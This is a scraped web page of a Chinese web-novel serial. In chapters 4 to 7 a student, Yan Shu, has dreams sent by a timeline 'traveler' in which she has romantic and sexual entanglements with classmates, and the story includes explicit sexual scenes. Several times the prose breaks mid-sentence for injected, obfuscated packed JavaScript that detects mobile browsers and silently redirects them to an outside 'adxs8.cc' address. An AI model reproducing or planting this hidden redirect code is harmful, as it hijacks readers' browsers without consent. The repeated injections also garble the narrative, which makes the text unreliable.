注意到燕舒的视线在他的腹肌上停留的时间够久,男人脸上露出笑容向燕舒走近。真是没白费他在健身房苦练,果然宣传地没错,八块腹肌是男人最好的医美! 燕舒强行把视线上移,这张脸有些熟悉,几秒后她大惊失色,这人不是今天白天找她聊天的自来熟吗?纪佳时的室友!虽然脸因为成熟而与之有了几分差别,可燕舒依旧能辨别出来。 怎么回事?谁给她安排的剧情!就逮着纪佳时寝室里的人薅? 她绝对不可能这么变态! 燕舒的表情太直白,看得白榆心中疑惑。他走上前,想拉燕舒的手,却被燕舒躲开了。眼中眸光暗淡,声音低落,“老婆,怎么了?都说一夜夫妻百日恩,你把我吃干抹净就想跑了?” 说着,他指了指身上的抓痕和咬痕,燕舒看得脸色涨红,感到头晕脑胀。 不要这么整她这个纯洁小女孩啊! 还是一夜情? 在她愣神的一瞬间,白榆几步冲了过来,将燕舒抱住,结果力太大,两人一齐摔进柔软的大床中。 此时此刻,燕舒正压在男人身上,第一反应是觉得对方胸膛好硬,为了使自己脸不贴靠,她用手撑着床铺,动了动想起身。 然后……一个异常灼热的东西隔着毛巾蹭过燕舒的大腿,她听见身下人呼吸变重。 燕舒愣住。 她深吸一口气,下一刻,快速滚到床的另一边,慢慢站起身。 白榆重欲,昨晚服务完燕舒,她自己舒服地睡了,自己却要反复待在浴室冲水,早就欲求不满了。早上见燕舒站在落地窗前本想抱着她去床上,却见她躲避,心里伤心她的无情。两人摔在床上,他的小弟也被她蹭苏醒了,于是,闭上眼睛等待燕舒的临幸。 结果,睁开眼睛,燕舒已经跑到床的另一侧站着了。 “老婆,我难受。”余音悠长,他侧身看着燕舒撒娇。 再难受燕舒也不可能帮他啊,她思想还没到这一步呢。她转身随意道:“你自己解决吧。” 她还有更重要的事情要做呢。 虽然没有系统之类的东西,但燕舒坚定认为这一定是上天补偿给她的金手指,不然很难解释这连续两个梦境的离谱。现在,她要验证一些事。 她环视四周,忽地看向床上正慢慢坐起身将身下毛巾扯下的男人,脑子一下短路了。 “你在干什么!”燕舒猛地转身。 白榆的嗓子喑哑地厉害,他跪在床上,仰头双手轻轻动作,一边脑子里想着昨天晚上躺在床上的燕舒,一边回答她的话。 “老婆,我……哈……在……想你。”他故意放大音量,加重喘息声。 他就是在勾引她! “老……婆……我……好……难受啊。” 燕舒捂住耳朵,但男人的声音还是从缝隙间钻入,她脸颊羞红。她脸皮还是太薄了。 她现在应该在酒店,燕舒在衣帽间套上浴袍,拿着床头柜上的手机快速走出房间,来到客厅在沙发坐下。 打开手机,几十个未接来电,来电人备注为【老公】。 纪佳时?还是别的人? 她抬头看向卧室的门,里面的人还在喊她老婆,但声音明显低沉了些。 这时,手机突然震动起来,吓得燕舒一个激灵,来电人依旧是【老公】,想了想燕舒挂断了电话。她面色复杂,自己这个恋爱还没谈过的人竟然在梦里出轨了,好离谱。 挂断了电话,燕舒慎重地点开微信。上回梦境结束地太突然,她对梦中世界的了解也太少。现在,她要探索梦境是否具有连续性。很明显,场景和人物是不同的,可大背景呢?依旧是女尊世界?纪佳时依旧是她老公吗? 扫视微信中内容,燕舒可以确定,上个梦境的剧情设定延续到了这个梦境,现在应该是她出轨的支线剧情。那么改变梦境的因素是什么呢?随机的还是有规律可循的? 燕舒决定先从最简单的思路入手,设定现实影响梦境,那么是否因为她遇见了纪佳时并向其表白所以开启了那场梦,而这次的梦境之所以改变则是因为她又遇见了这个男的。 但现在燕舒的脑子管不了太多,她决定先暂时将这些问题抛之脑后。 燕舒站起身,退出微信,打开其他资讯软件,朝酒店房间的入口走去。她要离开这个场景,去探寻外面是否也是梦境。 脑中这个念头出现,忽地整个梦境世界都抖动了一下,下一刻,梦境世界再次化作碎片层层消失。 燕舒出现在一片蓝色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126980|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水面之上,整个世界无边无际,一个发光红色圆球出现在燕舒面前。 [你好,M622139世界线的女孩,我是来自W624217世界线的旅行者。]冰冷的机械音。 “是你制造了这些梦境?”燕舒抬头问。 [是的。] 燕舒望着圆球,想了一会儿,问:“你的世界……我梦中的世界吗?” [是的。] [W624217世界线是一个……通俗告诉你就是星际时代的女尊世界,我是来自W624217世界线的旅行者。] “那为什么要为我编织梦境?”燕舒很疑惑,也很惊讶。她没想到这个金手指虽然没有系统,但似乎是更人性化的真人。 [因为,我听到了你的愿望。] 一个画面出现在燕舒眼中: 喝醉酒的那个晚上,三人在桥边吹风谈到各自的心事,谈到恋爱,燕舒说自己要当女王把男人踩在脚底下。 画面清晰,燕舒面红耳赤,道:“就因为这句话?会不会太随便。” [不,是你这个愿望我的世界线刚好可以满足。而且,我可以收集你的梦境数据。] 这是旅行者突发奇想开发的梦境实验:在M622139世界线中利用梦中世界影响W624217世界线中的人的潜意识。 莫名的,燕舒从冰冷的机械音中听出了些愉悦。 [我的世界线完整,在思想层面上可以完全碾压他们的思想,在梦里你就是……] 那两个字还未说完,燕舒赶忙打断,“停!别说那两个字!” [好吧。你太害羞了。醉酒后的你反而对自己的野心更真实。] “这种梦境完全就是高科技,好真实。”燕舒转移话题。 光球晃了晃,继续道:[梦中世界的建造是我最新的技术手段,链接了W624217世界的高级人工智能,你在梦中所经历的一切不过是算法根据你的现实世界所推演的结果。] “未来?” [未来有无数条道路。] …… [梦境只是你一个人的世界,但链接的是现实中人物的潜意识,如果你主动打破他们的潜意识认知,梦境将会扩散,成为你们共同的梦境。] [梦境之外是W624217世界线的幻境模型,也是支撑你的梦境的基石,但世界线与世界线之间不能碰撞,如果你离开梦境地点向外探索,从M622139世界线跨越到W624217世界线,那么你会被抹杀。] [梦境并不会对你造成任何影响,反而你会因为陷入深层意识而睡得更好。] 至于其他人,不过是会受到W624217世界线的意识影响,但旅行者认为,这并不重要。 [我正在你的世界线中进行探索旅行,当我离开时,梦境便会彻底结束。] …… 眼前画面变幻,燕舒重新坐在了沙发上。手上的手机震动,这次,燕舒想了想决定接通电话。 从与旅行者的交谈中燕舒得知了许多,比如如何维持梦境不至于扩散的规则,即扮演。虽然挂断电话也没什么问题,但燕舒想换一个选项。知晓了梦境的规则,燕舒安心多了,所以胆子也变大了。 “老婆,你在哪?”电话那头,传来纪佳时的声音。 清冷的,和屋里那个男的声线有挺大的差异,但燕舒因为受了第一个梦境的影响,下意识地认为对方一定是纪佳时。 “我、呃、我在外面。”燕舒说得含糊不清。 纪佳时叹了口气,声音低沉,“老婆,开门吧,我想见你。” 5. 第 5 章 燕舒忐忑地开门,她没忘记旅行者告诉她不得走出梦境场景否则两个世界线相交她会被抹杀,金手指虽好用但亦有危险。可纪佳时就在门外,代表门外也被纳入梦境场景了吧。不过,梦中竟然能容纳几个人吗?她还以为只能她和另一个人。 门外,纪佳时低垂着头站着,手上紧握刚刚挂断的手机。听见开门声,他慢慢抬头。正是青年人,一个晚上就冒出的青胡茬还没来得及剃去,显得很憔悴,红着眼眶,看见燕舒露出一个苦笑。 燕舒见了他,忍不住目光飘移,太心虚了所以不敢和他对视。 她的视线往纪佳时身后的酒店过道看去,还是很真实,不过没有尽头。燕舒猜测要是上一次她打开家门估计也会看见一片虚无。 ‘她的心不在我身上。’看见燕舒的视线在自己身上只停留了几秒后就看向自己身后,纪佳时心中冒出这句话。 他回家没找到她,打电话给她也没人接,他心中担心,还差点去警局报案,结果……原来是和别的男人来酒店开房了。现在,他站在她面前,她也不看他,她在看他身后,她还希望是谁来呢? 他面上更加伤感,燕舒是他爱着的人,可她爱的人不止他一个,他们成为男女朋友又到结婚这一步,只是因为他出现得最早。 但也幸好他占了先机,燕舒名义上的爱人只能是他,其他人只是过客。其他人都是酒店,他才是家! 这样想着,纪佳时冷淡的面上露出微笑,跨入酒店房间。 他倒要看看勾引燕舒的是哪个贱人! 白榆早就听到了燕舒与纪佳时的通话声,他下意识地去洗手间躲着,结果听见燕舒向门口走去,心中惊讶然后巨大的惊喜砸中了他。 纪佳时在门口?那他就可以和燕舒公开了,他终于可以不用当地下情人了!燕舒去开门是不是也默认了,她也想要公开。 白榆想入非非,甚至想到燕舒护着自己和纪佳时分手的场景。 哼,不被爱的人才是小三! 他赶忙在浴室冲了个澡,用浴巾围着下半身,带着水汽,踩着拖鞋走出卧室。 燕舒才呆呆地看着纪佳时往里走,刚意识到屋里有人,才准备阻止,就见纪佳时顿住脚。她连酒店都很少住,哪里熟悉这种酒店开房被正式未婚夫找上门的剧情。 旅行者说这是以她们世界线为背景推演她的故事,所以燕舒甚至无法吐槽。 她身后,白榆站定在原地和纪佳时对视。心中想得再好,但与实际演练还有差距,白榆看见纪佳时憔悴的脸,又想起镜子里红光满面的自己,心中有些心虚。更何况,他是纪佳时的大学室友、朋友,他甚至帮纪佳时为追燕舒出谋划策过。总之,他是明知燕舒是纪佳时女友后慢慢起了心思的,他唾弃过自己,可又难以放弃燕舒,于是背地里干起了撬墙角的事。 是他对不起纪佳时。 但很快,白榆又勾起笑容,面上露出趾高气昂的模样,他撬了又怎样,不被爱的人才是小三!何况,要不是他,纪佳时能追到燕舒吗?再者,他们也不是多好的朋友。 这么一想,白榆的道德负担一下子变轻了。 他走向前,准备说一番战斗宣言,结果纪佳时抢先开了口,“老婆,你去换衣服,等会,一起吃早饭。” “吃完饭,回家,好吗?” 纪佳时语气温柔,看燕舒的目光依旧温和。 燕舒觉得自己心怦怦跳着,她缩了缩头,后退几步,轻声点头,“好。” 燕舒进入衣帽间,立刻就把门关上,她实在替自己尴尬,但又好奇屋内两个男人会说些什么,于是把耳朵贴在门边。 她觉得自己是在吃瓜,虽然她也是这场闹剧的主角,但她并没有多少代入感,所以燕舒当看热闹。 见燕舒关上门,纪佳时立刻转头看向对面的人,面上已黑如锅底,神色异常愤怒和冰冷。 对面,白榆心中也不好受,他觉得第一轮交锋已经结束,他输了。他还没说什么,纪佳时就开口,燕舒也应声,还真去衣帽间换衣服了。她不护着他,等会还要和纪佳时去吃早饭,白榆难受得想哭。 但情敌当前,他不能露怯,他将眼泪从眼眶中压下。 “纪佳时,你都知道了。”所以主动退出吧。 “知道什么?”纪佳时扫视白榆。 知道自己大学室友暗地里勾搭自己未婚妻?知道他们背着他开房吗? 纪佳时很愤怒,但他只对白榆施加怒火,燕舒没有错,她是被引诱了,都是白榆勾引她!白榆借着他的关系勾搭了燕舒,纪佳时觉得自己也有错,他错在看错了人,给了白榆机会。 所以,面对白榆的挑衅,纪佳时忍住怒火,他不会给对方抢走燕舒的机会。 “不被爱的才是小三,你装什么听不懂?” “燕舒!她不爱你!她爱的是我!”白榆张嘴,火力全开。 纪佳时太阳穴突突地跳,他呼吸开始急促起来,猛地上前一步,瞪视白榆,“白榆,你要不要脸,做小三还自豪上了?你破坏别人的家庭,贱人!” 纪佳时爆粗口了,他实在受不了对方这幅不要脸的模样。 而白榆的下限比他想得还要再低,他自豪一笑,“你破防了。” 纪佳时握紧了拳头。 白榆继续道:“做小三怎么了?那也是燕舒得给我机会我才能做,嘻嘻。” “燕舒喜欢我,爱我,她昨天说和你在一起只是因为你很好,适合而已。但她背着你也要和我在一起,是爱我。” 说到这,白榆甚至对纪佳时露出几分真情实感的同情。他同情他不被爱。 纪佳时气笑了。 白榆同情他? 他有什么资格! 纪佳时忽地舒了口气,他平复呼吸,收敛脸上的表情,无视白榆走到沙发处坐下,然后问:“老婆,换好了吗?” 衣帽间内,把耳朵贴在门口的燕舒抖了一下,立刻回到:“马上。” 听见两人的交流,白榆的脸又黑了。 他不高兴,纪佳时就高兴了。 纪佳时将背靠在沙发上,以一个十分放松的姿势看着白榆,虽然他在仰视,但白榆觉得自己遭到了俯视。 “白榆,你是不是疯了?喜欢?爱?” “你怎么那么白痴呢?” “你觉得你哪里比得上我?我坐在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126981|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里你不就是个笑话?” 纪佳时一向如此,他虽然待人温和但相处久了就能察觉他内里是一个很高傲冷淡的人,他即使平视一个人也隐含着傲慢,现在他将这份傲慢面对白榆显露无遗。 白榆是个自信开朗的人,他讨厌来自纪佳时的傲慢俯视,可这时他有没有丢失理智,于是他接收了纪佳时的问题,他因为承认不如纪佳时所以败了。 捕捉到白榆表情的微妙变化,纪佳时继续道:“对于你,燕舒就是家里的饭吃多了想出门尝尝清粥小菜,你懂吗?” “还有,你以为你是小三吗?你连小三都排不上号。” “白榆,天已经亮了,你的梦还没醒吗?” 白榆?原来这个男生叫白榆。 燕舒走出衣帽间,看见两个男人向她走来。白榆想求安慰,他需要燕舒给予他力量他才能买两对纪佳时继续战斗,而纪佳时则不愿燕舒再和白榆沾上关系,他想拉着燕舒离开。 看见两人伸出的手,燕舒陷入两难,但想了想,她决定握住纪佳时的手。 纪佳时面上露出真实笑容。 但也就是此刻,梦境破碎了。 “喂,你觉不觉得燕舒今天很不对劲。”张悦抱着书碰了碰钟玉树的手臂。 今天,燕舒又醒得很早,帮她们带了早餐。当然,这不是重点,重点是燕舒今天特别高兴,做什么美梦了? 一会哼歌然后再嘿嘿傻笑,然后反复重复,电脑开着看样是在写作业,但文档一直空白,没打几个字。 听见张悦的话,钟玉树迈出寝室的脚又退了回来,她也好奇,但她没问。 两人对视一样,走到燕舒两侧。 燕舒还在回想梦境,金手指是真的,还是独属于自己的,她太高兴了。虽然终有一天因为旅行者的离开金手指会消失,但曾经拥有过也很好。而且金手指有一个好处很明显,燕舒一觉睡醒整个人神采奕奕,全身通透,她又是六点多醒的。 再想到梦里的剧情,燕舒觉得又刺激又有趣,好玩,爱玩。 嘻嘻。 “在笑什么?”张悦的声音把她拉回现实。 “没什么。” 两人又问了几句,见燕舒不肯说,只能撇撇嘴抱着书离开寝室。 只剩燕舒一个人,她趴在桌子上乐出了声。 男生寝室楼的一间寝室内,气氛有些紧张。 纪佳时今早起床,莫名的内心有一股无名火,他下了床在阳台洗漱见了白榆,终于知道这股火对着谁了。 两人吵了一架,把另外两个室友惊呆了。 纪佳时和白榆吵架,有些意料之外,又似乎在意料之中,毕竟两个都是少爷,只不过一个看似很温和,另一个也很大大咧咧。 “你为啥和他吵?”见纪佳时出门,程云和周兆鹏围在白榆身边问。 “我怎么知道,他有病。”白榆在打游戏,皱眉骂道。 其实就是两人早上一起来就互相不对劲,然后因为一句话的语气问题吵了起来,按理说白榆平时会嘻嘻哈哈打岔过去,结果他今天也烦对方得很,直接怼了回去。 纪佳时算什么东西,凭什么他要忍! 6. 第 6 章 C大的校门外有一条美食街,晚上,灯光熠熠,人头攒动,好不热闹。 燕舒坐在一家烤肉店中等人,目光在店门口逡巡,然后看见了纪佳时和白榆走进了店中,他们旁边还有两个男生,应该是他们的室友。 早上做着梦,晚上梦里的人就出现在你的面前,这感觉还挺奇妙,何况梦里的关系那么尴尬。不过因为燕舒坐在靠窗的角落,店内人多,他们似乎并未看见。 她看见纪佳时踏入店内时扫视了一圈,他们刹那间对上目光然后又分开。 他并不认识她。 这很正常。 燕舒心中刚刚升起的旖旎心思立刻烟消云散。 燕舒等的人来了,是她的直系学姐,她站起身朝门口挥手,“学姐!这!” 对方穿过层层阻隔,来到她对面坐下,“这家烤肉店还不错,我今天一天都在期待和你吃饭,馋死我了。” “我点了个两人餐,然后加了几份肉,学姐你看你还要什么?” 这顿饭是燕舒请客,覃欢学姐是她为数不多熟识的直系学姐,大三下的开学对方给她介绍了一份商业文案撰写的工作,燕舒很感激她,本来早就想请客吃,但因为双方时间关系才一直拖到现在。 覃欢学姐很好说话,在人情世故与人交往这方面更是称得上得心应手,和这样的人在一起无论做什么你都会感到如沐春风。燕舒就是这个感觉。 她直接开口:“学姐你不仅长得漂亮,而且智商和情商双高,真是完美。” 对方笑道:“学妹,你夸得好直白,但我很喜欢。” “我觉得你这个人也很好,我也很喜欢。” “纪哥,看什么呢?”周兆鹏问。 今晚这段饭是他和程云为了缓和宿舍关系主动提出的请客,虽然纪佳时和白榆谁也不搭理谁,但好歹来了。只不过,他观察到纪佳时似乎有些心不在焉。 “没什么。” 店内人多,她又在角落,他在这边望只能看见她们的座位。 他很早就看见了她,在店外的街道上,或许是缘分吧,他们从一旁的小道进入美食街,他一转身就看见她隔着玻璃窗侧坐在店里,于是他说:“就这家店吧。” 三人没有意见,于是他们走入店里。 店门口,纪佳时若无其事地扫视了一圈,刚好与她对上目光,然后若有似无的情愫在缓慢生长。 自己很不对劲,他对这个学姐似乎有些过分关注了。 是因为喜欢吗?还是只是一时的兴趣? 忽然,他听到了店内爆发的吵闹声。 不仅他听到了,三位室友也听到了,一齐起身向声源处看去。 C大美食街虽说来往的大多是大学生,但有时也会遇见很多社会人士来这吃饭,而很不幸,燕舒今天遇见了几个喝了几瓶啤酒就想装醉调戏女学生的中年男。 她们身后一座是四个年轻女生,应该是寝室聚餐,其中一个女生拿着果盘走出座位,前面的中年男立马脚步不稳想对方撞去。燕舒这桌正对着过道,她目睹了全程。 很快经典戏码上演,中年男骂骂咧咧,拉住女生的手碰瓷不让她走,女生室友走到对面据理力争,中年人身旁的一桌同伴立马起身示威,嘴里说些下流的肮脏话,对四个女生评头论足,极力羞辱。 燕舒和覃欢一同起身,两人对视一眼,走到四个女生身旁。 燕舒先开口,她扫视中年男桌上的酒水,讥讽出声:“几瓶酒就喝得半身不遂?正道不走偏往别人身上撞?” “是偏瘫还是脑瘫?” 燕舒是个很温和的人,她一般不骂人。但当非一般的情况发生,就证明无法讲理,除了出击别无它选。 覃欢诧异地看了眼燕舒,然后立马拿起手机对几个中年人晃了晃,“店里有监控,我手机里也有录像,你们在这碰瓷是不管用的。” 对面男人面色一变,立即扬手要抢覃欢的手机。 “新买的,一万多。”覃欢慢悠悠道。 有了她们帮腔,之前观察事件并不做声的一部分人站出来了,也大声道:“看几个小妹妹好欺负故意的。” “在C大旁边欺负C大学生,真当我们软柿子啊!”慢慢的,周围的几桌都站了起来。 几个中年人看着包围他们的学生,有男有女,身材不比他们矮小,一直扬起的手慢慢落下,他瞪视出声帮腔的几人,像是看见瘟疫般挥手推搡,“去去去,不跟你们计较!” “走,我们走!”一伙人准备离开。 燕舒站在前方,中年男人记恨她刚刚骂他脑瘫,故意用手肘狠狠撞她。她将手臂护在胸口和对面对抗,但一旁的男人同伙又用力推她,于是一个没站稳向身后跌去。 以为自己会摔在地上,但并没有。她的双臂被人扶住,背靠在一个男生的身上,她转头是一个长相清秀的陌生男生。 他对她笑了笑,“同学,你没事吧。” 燕舒摇了摇头。 燕舒视线再往后,看见了纪佳时,他隔着几个人站在后面,盯了她一眼,再抬眸向几个中年人看去,冷冷开口:“根据《刑法》第二百四十六条规定,以暴力或者其他方法公然侮辱他人或者捏造事实诽谤他人,情节严重的,处三年以下有期徒刑、拘役、管制或者剥夺政治权利。” “我们是法学生,大家抓住这群人渣!送警察局!别让他们跑了!”程云语气兴奋。 “钱都不付,想逃单?” “刚刚他们还打人了!”有人指着燕舒。 燕舒此时已经站稳,但上半身依旧靠在身后的男生身上,语气虚弱道:“好痛啊。” 群情激奋,店内吵翻了天,店外有人也围在玻璃窗外看热闹。 最终,几个中年人被一群人押出店,所幸警察局离这并不遥远。有人想拉燕舒去做伤情鉴定,燕舒拒绝了,她本来什么事都没有,要是去做了虚假鉴定的话,那说不定就真有事了。 覃欢和燕舒站在街道一旁,两人相视一笑,这场闹剧终于结束了。 “学姐,这饭也没吃好,要不我们重新、” “算了,闹到现在时间也不早了,我其实吃得还行,现在走回去刚好消食,然后在看会书。” “好,走吧。”燕舒迈步。 覃欢拉住她,手指她身后,表情挪揄。 燕舒转身,是刚刚那个扶住她的男生。他穿着白色毛衣,外套挂在手上,他很高大,和因为身高而造成的身形高大不一样,他应该是经常健身,肌肉结实,脖颈部位的血管明显凸起,整体的身形给人很强的力量感。 与身形不符的则是他清秀到略显稚气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126982|164337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容貌,笑起来有梨涡。 燕舒喜欢笑得好看的人,不论男女。何况对方刚刚还帮了她一把,心中好感更是不低。 “同学,你有事?” 只见对方落落大方地掏出手机,朝她递来,“同学,可以加个微信吗?我觉得你刚刚骂人很帅。交个朋友?” “哈哈。”燕舒尬笑一声。 第一次有人夸她骂人帅。 她也掏出手机,扫码,“同学,你叫什么,给个备注。” “我是燕舒,燕子的燕,舒展的舒。” “陆寻春,左耳旁的陆,拨雪寻春的寻春。” 两人聊了几句,燕舒转头覃欢早已不在原地。 陆寻春挑眉,“一起回去?” 对方邀请同行,不是什么大事,燕舒点头同意,“好。” 看着两人离去的背影,纪佳时从奶茶店走出。他现在很烦躁,他知道原因是什么,但又不愿意承认。 白榆三人陪着人群一起去了警察局,纪佳时留下了,他想等燕舒,但又不希望自己的意图被人察觉,所以进了奶茶店靠着墙壁坐下隔着玻璃窗偷偷观察她。然后看见两人互加微信的全过程,又一同说笑着往学校方向走。 纪佳时很高傲,现在他的高傲在折磨他,让他骑虎难下。他喜欢她,他第一眼就对她有好感,但他并没主动出击。 他在等。 等对方主动。 他向来是被追逐被死缠烂打的一方。 他从来没有低过头,他一直高昂着。但是现在他喜欢的人似乎对他并不感兴趣,哪怕他们见过几次,除了醉酒那次她稀里糊涂对他表白,其他时候她都无视了他。 晚上,燕舒因为太过兴奋,躺在床上闭眼却一直没有睡意,于是又玩起了手机。 【李梦音:刚刚到C市。】 【李梦音:累[表情包]】 【燕舒:真是让您老玩辛苦了[流汗黄豆]】 【李梦音:我要和他分手了。】 【燕舒:……】 【燕舒:不信】 【李梦音:真的!】 【燕舒:6】 眼睛还没完全睁开,鼻子就闻到了咖啡香,不愧是高等文明的科技。 今天的场景很熟悉,是校外一家有名的咖啡店,因为装修和氛围再加上店主养的几只小猫在网上火过一阵子,大一时燕舒和李梦音还特地打过卡。 店内整体空间以暖色调为主,墙壁上挂着几幅描绘田园风光的油画,角落搭建了一处小的金色麦田,旁边架这一把大提琴。此时,店内音乐悠扬,咖啡的香气混合着面包的烘焙香在空气中弥漫。 阳光透过白色的纱窗洒在桌面,也洒在燕舒的侧脸。 很美。 这是纪佳时看见这一幕时第一感受。 但紧接着,他收敛情绪,变得冷冰冰,走入咖啡店,在燕舒对面径直坐下。 “你怎么了?谁打得你?”看见纪佳时第一眼,燕舒震惊了,男生姣好的面容应该是被人用力地打了一拳,左眼都肿了,眼皮呈现出不正常的紫红色,嘴角破裂。 纪佳时紧绷着面庞,然后直视燕舒的眼睛,慢慢道:“学姐,除了你那个野蛮男友,还有谁?” 说完,他冷哼一声,“你来见我,他不会高兴的。” 7. 第 7 章 今天梦境的剧情发展把燕舒都看愣了,纪佳时怎么身份一退再退,第一次还是亲亲老公,第二次已经是等在酒店外的……正宫? 怎么第三次连男朋友都不是?还是被她正牌男朋友打的小三。 瞧瞧这脸蛋,被打得真可怜。 “疼吗?”燕舒满眼关切地问,说着她伸出手轻轻触碰纪佳时受伤的伤口。 “疼。”纪佳时凝视燕舒轻轻道。 她的手冰凉又柔软,在他脸上巡游,只几秒就将他愤怒不满的心安抚,一股温暖的暖流流过心间,让他欢喜又雀跃。 她在乎他。 一想到这,纪佳时来之前的所有想法便被他忘得一干二净,什么不做小三,什么要和燕舒停止这段不清不楚的关系,什么来要赔偿,通通都没此刻眼前人关切的眼神重要。 对面,燕舒看着脸受伤的纪佳时,眼中的心疼是真的,毕竟她是真的喜欢纪佳时这张脸。但是不知道是不是自己的恶趣味,她更能接受这样的纪佳时,一个受伤的、假装冷静的、充满妒意的…… 像一只平时高冷的缅因猫,有一天突然扭捏地走来在你的脚边蹭。这个时候,燕舒必定抱起将其狠狠蹂躏。 当然,燕舒此刻的高兴与愉悦也可能更多来自于她详细地了解了这个梦境的发生规律,只要她不故意戳破梦境,不肆意妄为,那么这梦只会是她的梦。无论是世界观导致身份地位上的颠倒,还是清醒状态下获得更多信息的觉知,她都是主导者。 第三次入梦,燕舒的心态已经完成了从迷茫无知到惊喜不安再到既从容又兴奋的三次转变。 她有了掌控整个局面的能力,因为无论梦里如何,那都只是一个梦而已。所以当她面对梦中见过两次的纪佳时已经不再抗拒,而是隐隐跃跃欲试着,想要发生些什么。 “纪佳时,你喜欢我对吧。”这是一个陈述句表达。 虽然不知道他为什么会喜欢她,但梦里就是这样,燕舒不需要怀疑。 她抚摸纪佳时的脸,慢慢站起身俯身凑近凝视他。 纪佳时当然是喜欢燕舒的,他喜欢她,明知她有男友却仍舍不得远离,知道自己的行为不道德会被谴责却自我欺骗,他喜欢她到每天都在想着她,喜欢到校园论坛上从曾经关于他“男神”、“高岭之花”的帖子到如今“舔狗”、“可笑可怜”的肆意议论。 他主动追着燕舒跑会被男的唾弃掉价,女的讥讽倒贴。因为他的脸,这事在网上也小有热度,评论里都辱骂他,说他这个人“贱”、“不安分”、“娶回家也要出轨”,指责他思想老套、不道德,身为一个男大学生不接触学习先进的独立男性思想,做一个大男人,反而只囿于情情爱爱。 人人都说他不要脸,却对燕舒只是轻飘飘几句“一定是个很有魅力的人”、“姐妹,求教”。 纪佳时觉得委屈和愤怒,于是他今天来之后心中反复告诫自己势要和燕舒一刀两断,他要做回曾经那个自己,再不为感情所困。 “喜欢。”纪佳时回答。 燕舒脸上露出果然如此的笑容,手从抚摸纪佳时的脸变成捏住他的下巴,纪佳时真的很好看,连青紫色的皮肤都像是一幅涂抹在脸上的油画,颤动的眼睫像振翅的蝴蝶,虽然唇角有伤但唇色红润,她低头轻轻吻了上去。 其实燕舒还没和人接过吻,于是两人只是碰了碰嘴唇,她轻轻啄了对方两下,纪佳时的耳朵就红了。 燕舒停住动作,脸上也冒出一股热气,看着纪佳时闭上的双眼,慢慢松手,坐回座位。她侧过身子,状若自然地用手轻轻扇风给脸部降热。 还是太生疏太紧张了。 她的眼睛在店里左右乱瞟,店里人少,他们坐在靠窗边的中间一桌,前后都没有人,只对面有一桌拿着电脑在静悄悄工作的四个女生,她们的面孔很清晰。燕舒认出了其中一个人,紧接着想起了其他三个人是谁。这不就是晚上烤肉店遇见的四个被碰瓷骚扰的女生吗? 这是第一次,燕舒的梦境里出现和她无关的人物。不,不能说完全无关,毕竟她之前也和纪佳时没什么关系,结果第一次梦境里他成了她老公。 难道,她们也会和她发生什么事吗? 似乎燕舒盯太久了,其中一人察觉燕舒的目光,抬头对她笑了笑。 燕舒也回以微笑。 一直没有等到燕舒更深入的亲吻的纪佳时睁开了眼睛,他顺着燕舒的视线往一侧瞧,见一桌是四个女生,立马安心了,他确定燕舒不喜欢女生。 等不到燕舒主动,纪佳时就准备主动,他站起身走到燕舒身旁,直接在她旁边,挡住她看向那四人的视线。她今天是一身蓝色长裙,扎着马尾,几缕碎发在耳边晃荡,脸色红润,眉眼是不加修饰的清醒,自然而美丽。 她美得让他自卑。 哪哪都自卑。 燕舒望着纪佳时,有些紧张,她慢慢挪着屁股向一侧滑,于是整个人被纪佳时堵在座位角落,一半的身体都靠在了身后的玻璃窗上。察觉今天的梦境不止有自己和纪佳时以外,她刚刚冒出的贼胆又缩回去了。虽然是在梦里面,但燕舒依旧清醒着,她保有她的羞耻心,总之,她放不开。 她觉得哪怕现实中她谈恋爱都不会和男友在公共场合亲吻,何况,纪佳时都不是她男朋友! 可纪佳时已经低头吻了下来,他很高,即便身体压得低,也给人很强的压迫感,实际上他这个时候就是压着燕舒吻,他不知何时捧住了她的脸颊微微往上抬,好方便他吻她。 燕舒靠在玻璃上,身体后仰,止不住地颤抖。她实在不是一个太有勇气的人,连梦里面对纪佳时一瞬间产生的恶劣思想都只践行了一下就放弃了,可现在她被对方反制压在角落吻。 太丢脸了! 可是很明显,纪佳时明显比燕舒胆大也比她会亲,至少他会伸舌头。 纪佳时手掌从燕舒的脸摸到她的后脑勺,感受着她身体的僵硬和逐渐瘫软的过程。一开始,他只会伸舌头在她的口腔到处碰壁,可没过多久他就学会了灵巧地勾着她的舌头和他交缠,她刚开始还会躲避,可地方就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 